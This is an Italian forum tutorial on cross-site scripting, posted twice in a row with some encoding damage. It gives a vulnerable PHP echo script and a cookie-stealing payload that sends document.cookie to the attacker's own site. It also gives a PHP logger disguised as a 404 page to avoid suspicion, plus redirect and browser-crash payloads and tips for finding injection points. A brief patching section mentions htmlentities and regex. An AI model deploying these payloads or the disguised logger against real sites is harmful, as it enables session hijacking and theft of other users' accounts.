Guida alle XSS by KingOfSka
Table Of Contents:
0:. Intro..
1:. Javascript
2:. XSS
a. cookie stealing
b. altri usi
3:. Trovare falle XSS
4:. Patching
5:. Links
#0:. Intro
Quasi sicuramente, alla ricerca di exploit per un qualche script php vi sarà capitato di incrociare queste vulnerabilità "XSS" ;
con questa guidettina cercherಠdi fare un po' di chiarezza, capire cosa sono, come possono essere sfruttate nel mondo reale, e come proteggersi da queste.
#1:. Javascript
Con l'uso dei linguaggi di scripting a lato server, come PHP, sono inziati molti problemi: se uno script php stampa una variabile passatagli dall'utente senza prima averla controllata, allora l'utente potrà modificare a suo piacimento la pagina stessa !
Per spiegarci meglio, creiamo uno script php:
<?php
$var = $_GET['message'];
echo "$var";
?>
e richiamiamolo attraverso "http://127.0.0.1/xss.php?message=ciao" , vedrete l'output, una pagina bianca con scritto ciao, e fin quì niente di strano... provate ora con "http://127.0.0.1/xss.php?message=<b>ciao</b>" , così vedrete "ciao" scritto in grassetto, per il tag "<b>" che abbiamo usato.. e infine fate ""http://127.0.0.1/xss.php?message=<script>alert("Ciao!")</script>" e otterete un popup di javascript, e ora penso inizierete a capire...
Sfruttando pagine scritte male, simili a questa, possiamo far eseguire nel browser della vittima il codice Javascript che vogliamo !
Questo tipo di bug prende appunto il nome di "XSS" cioè Cross Site Scripting.
Un possibile tipo di attacco attraverso XSS è il cosidetto "Cookie Stealing" , cioè la possibilità di entrare in possesso dei cookies della vittima, e cercare così di ottenere informazioni come username o password..
Inoltre ci sono altre possibilità , come per esempio disturbare i visitatori con pop-up, redirect e molto altro che vedremo pi๠avanti....
a) Cookie Stealing:
Per rubare i cookies, sfrutteremo la proprietà "document.cookie" , "document.location" di javascript e uno script PHP.Perchè non fare tutto in Javascript ?? Noi dobbiamo pure salvare questi cookies da qualche parte, e Javascript agisce SOLO nel browser della vittima, quindi attraverso di esso invieremo i dati del cookie a uno script .php che li loggherà .
Creiamo quindi uno script java che redirezioni l'utente allo script php passandogli come variabile i dati del cookie:
<script> window.location="http://www.nostrosito.com/script.php?data=" + document.cookie </script>
Ed ora lo script che salva i dati del cookie:
<html>
<head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<?php
$capo = "
";
$_GET['data'] = $data; //prende ciಠche sta dopo data nell'url e lo mette nella variabile data
$fh = fopen("cookie.txt",'a+'); //setta in fh le condizioni per aprire il file cookie.txt
fwrite($fh, "$data"); //apre il file cookie.txt o loc rea se non esiste e ci mette dentro al variabile data
fwrite($fh, "$capo");//va a capo
fclose($fh); //chiude il file
?>
<p>The requested URL was not found on this server.</p>
</body></html>
Come vedete lo script php simula un errore 404 per destare un po' meno sospetti quando visitato...
Una volta inserito il Javascript, basta aspettare che un altro utente lo visiti, per entrare in possesso dei suoi cookie.
b)Altri Usi:
Sempre usando la proprietà "window.location" di Javascript, possiamo redirezionare le vittime al sito che noi vogliamo.
Esempio:
<BODY onload= window.location="http://www.google.com">
Questo script non farà altro che redirezionare lo user che vede la pagina su google.com non appena essa sarà stata caricata...
Oppure potremmo inserire exploit in javascript per il browser della vittima, per esempio questo codice crasha le versioni non aggiornate di IE:
<body onLoad="window()">
3:. Trovare Falle XSS
Gli attacchi di tipo XSS , generalmente, possono essere effutuati ogni volta che c'è la possibilità di far stampare a schermo allo script una variabile che gli viene fornita dall utente, senza che sia controllata.
Pensate quindi ai motori di ricerca, quando vi rispondono con "Non è stato trovato alcun risultato per TUARICERCA" ... allora capirete che inserendo un po' di jscript nell variabile della ricerca, se non ci sono controlli su di essa, possiamo inserire del jscript nella pagina finale !
Altri punti di injection comuni sono i profili degli utenti, controllate TUTTI i campi e quando dico tutti, voglio dire proprio tutti !
Mettiamo che uno script vi chieda i vostri dati per creare un profilo visibile agli altri utenti, dopo aver provato a inserire il codice nei campi pi๠comuni e a cui penseremmo pi๠facilmente (nome, descrizione, hobby...) , potremmo cercare un po' pi๠in profondità .
Quando vedete una Listbox (men๠a tendina) , non è detto che le opzioni che potete usare siano solo quelle
Con programmi come LiveHTTPHeaders , un plugin per firefox, potremmo modificare la richiesta HTTP e magari, sostiuire alle 2 lettere di una provincia un po' di sano javascript.
Leggete questa advisory per un esempio concreto:
4:. Patching
Ovviamente non vogliamo che tutto ciಠsucceda nel nostro sito, quindi abbiamo principalmente 2 soluzioni, sempre parlando di script php:
htmlentities()
regex
htmlentities è una funzione di php che accetta come parametro una stringa, nella quale dovranno essere sostiuiti i caratteri che potrebbero essere interpretati come parte del codice HTML , con dei codici speciali che li fanno considerare come caratteri normali.
Per esempio "<" sarà convertito in "<" , ">" in ">" e molti altri...
regex invece sta per "regular expression" , cioè un metodo per individuare un particolare testo, che abbia una certà affinità con il pattern che creiamo noi.
per maggiori informazioni visitate rispettivamente:
5:. Links
E questo è tutto, spero di aver chiarito un po' le idee sulle XSS , recentemente molto sfruttate da niubbi e non, e molto frequenti negli script.
Se avete commenti, domande o comunque qualcosa da dire su questa guida, potete farlo nel forum:
KingOfSka
I?m The Best(ia)
+******++++++*****+++++*
Table Of Contents:
0:. Intro..
1:. Javascript
2:. XSS
a. cookie stealing
b. altri usi
3:. Trovare falle XSS
4:. Patching
5:. Links
#0:. Intro
Quasi sicuramente, alla ricerca di exploit per un qualche script php vi sarà capitato di incrociare queste vulnerabilità "XSS" ;
con questa guidettina cercherಠdi fare un po' di chiarezza, capire cosa sono, come possono essere sfruttate nel mondo reale, e come proteggersi da queste.
#1:. Javascript
#2:. XSShttp://it.wikipedia.org/wiki/Javascript ha detto:JavaScript, se integrato in un browser Web, si collega tramite interfacce chiamate DOM (Document Object Model) alle applicazioni, specialmente al lato server (web server) e al lato client (browser) delle applicazioni internet. Molti siti web usano la tecnologia JavaScript lato client per creare potenti applicazioni web dinamiche. Puಠusare Unicode e puಠvalutare le espressioni regolari (introdotte nella versione 1.2, in Netscape Navigator 4 e Internet Explorer 4). Le espressioni JavaScript contenute in una stringa possono essere valutate usando la funzione eval.
Un uso principale del Javascript basato su web è la scrittura di piccole funzioni integrate nelle pagine HTML che interagiscono con il DOM del browser per compiere determinate azioni non possibili con il solo HTML statico, come aprire una nuova finestra, controllare i valori nei campi di ingresso, cambiare le immagini al passaggio del mouse, ecc.
Con l'uso dei linguaggi di scripting a lato server, come PHP, sono inziati molti problemi: se uno script php stampa una variabile passatagli dall'utente senza prima averla controllata, allora l'utente potrà modificare a suo piacimento la pagina stessa !
Per spiegarci meglio, creiamo uno script php:
<?php
$var = $_GET['message'];
echo "$var";
?>
e richiamiamolo attraverso "http://127.0.0.1/xss.php?message=ciao" , vedrete l'output, una pagina bianca con scritto ciao, e fin quì niente di strano... provate ora con "http://127.0.0.1/xss.php?message=<b>ciao</b>" , così vedrete "ciao" scritto in grassetto, per il tag "<b>" che abbiamo usato.. e infine fate ""http://127.0.0.1/xss.php?message=<script>alert("Ciao!")</script>" e otterete un popup di javascript, e ora penso inizierete a capire...
Sfruttando pagine scritte male, simili a questa, possiamo far eseguire nel browser della vittima il codice Javascript che vogliamo !
Questo tipo di bug prende appunto il nome di "XSS" cioè Cross Site Scripting.
Un possibile tipo di attacco attraverso XSS è il cosidetto "Cookie Stealing" , cioè la possibilità di entrare in possesso dei cookies della vittima, e cercare così di ottenere informazioni come username o password..
Inoltre ci sono altre possibilità , come per esempio disturbare i visitatori con pop-up, redirect e molto altro che vedremo pi๠avanti....
a) Cookie Stealing:
Per rubare i cookies, sfrutteremo la proprietà "document.cookie" , "document.location" di javascript e uno script PHP.Perchè non fare tutto in Javascript ?? Noi dobbiamo pure salvare questi cookies da qualche parte, e Javascript agisce SOLO nel browser della vittima, quindi attraverso di esso invieremo i dati del cookie a uno script .php che li loggherà .
Creiamo quindi uno script java che redirezioni l'utente allo script php passandogli come variabile i dati del cookie:
<script> window.location="http://www.nostrosito.com/script.php?data=" + document.cookie </script>
Ed ora lo script che salva i dati del cookie:
<html>
<head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<?php
$capo = "
";
$_GET['data'] = $data; //prende ciಠche sta dopo data nell'url e lo mette nella variabile data
$fh = fopen("cookie.txt",'a+'); //setta in fh le condizioni per aprire il file cookie.txt
fwrite($fh, "$data"); //apre il file cookie.txt o loc rea se non esiste e ci mette dentro al variabile data
fwrite($fh, "$capo");//va a capo
fclose($fh); //chiude il file
?>
<p>The requested URL was not found on this server.</p>
</body></html>
Come vedete lo script php simula un errore 404 per destare un po' meno sospetti quando visitato...
Una volta inserito il Javascript, basta aspettare che un altro utente lo visiti, per entrare in possesso dei suoi cookie.
b)Altri Usi:
Sempre usando la proprietà "window.location" di Javascript, possiamo redirezionare le vittime al sito che noi vogliamo.
Esempio:
<BODY onload= window.location="http://www.google.com">
Questo script non farà altro che redirezionare lo user che vede la pagina su google.com non appena essa sarà stata caricata...
Oppure potremmo inserire exploit in javascript per il browser della vittima, per esempio questo codice crasha le versioni non aggiornate di IE:
<body onLoad="window()">
3:. Trovare Falle XSS
Gli attacchi di tipo XSS , generalmente, possono essere effutuati ogni volta che c'è la possibilità di far stampare a schermo allo script una variabile che gli viene fornita dall utente, senza che sia controllata.
Pensate quindi ai motori di ricerca, quando vi rispondono con "Non è stato trovato alcun risultato per TUARICERCA" ... allora capirete che inserendo un po' di jscript nell variabile della ricerca, se non ci sono controlli su di essa, possiamo inserire del jscript nella pagina finale !
Altri punti di injection comuni sono i profili degli utenti, controllate TUTTI i campi e quando dico tutti, voglio dire proprio tutti !
Mettiamo che uno script vi chieda i vostri dati per creare un profilo visibile agli altri utenti, dopo aver provato a inserire il codice nei campi pi๠comuni e a cui penseremmo pi๠facilmente (nome, descrizione, hobby...) , potremmo cercare un po' pi๠in profondità .
Quando vedete una Listbox (men๠a tendina) , non è detto che le opzioni che potete usare siano solo quelle
Con programmi come LiveHTTPHeaders , un plugin per firefox, potremmo modificare la richiesta HTTP e magari, sostiuire alle 2 lettere di una provincia un po' di sano javascript.
Leggete questa advisory per un esempio concreto:
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
4:. Patching
Ovviamente non vogliamo che tutto ciಠsucceda nel nostro sito, quindi abbiamo principalmente 2 soluzioni, sempre parlando di script php:
htmlentities()
regex
htmlentities è una funzione di php che accetta come parametro una stringa, nella quale dovranno essere sostiuiti i caratteri che potrebbero essere interpretati come parte del codice HTML , con dei codici speciali che li fanno considerare come caratteri normali.
Per esempio "<" sarà convertito in "<" , ">" in ">" e molti altri...
regex invece sta per "regular expression" , cioè un metodo per individuare un particolare testo, che abbia una certà affinità con il pattern che creiamo noi.
per maggiori informazioni visitate rispettivamente:
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
5:. Links
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
- Sito della CrewPerfavore,
Entra
oppure
Registrati
per vedere i Link!
- Sito ufficiale di Php , molto utile per le spiegazioni di ogni funzionePerfavore,
Entra
oppure
Registrati
per vedere i Link!
- Open Web Application Security Project , un sito con lo scopo di aiutare a rendere pi๠sicuri i nostri siti web, molto utile.Perfavore,
Entra
oppure
Registrati
per vedere i Link!
- LiveHTTPHeaders è un plugin per Firefox, che permette di modificare a nostro piacimento le richieste di GET e POST , particolarmente utile per testare le web application e scoprire nuovi bug.E questo è tutto, spero di aver chiarito un po' le idee sulle XSS , recentemente molto sfruttate da niubbi e non, e molto frequenti negli script.
Se avete commenti, domande o comunque qualcosa da dire su questa guida, potete farlo nel forum:
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
KingOfSka
I?m The Best(ia)
+******++++++*****+++++*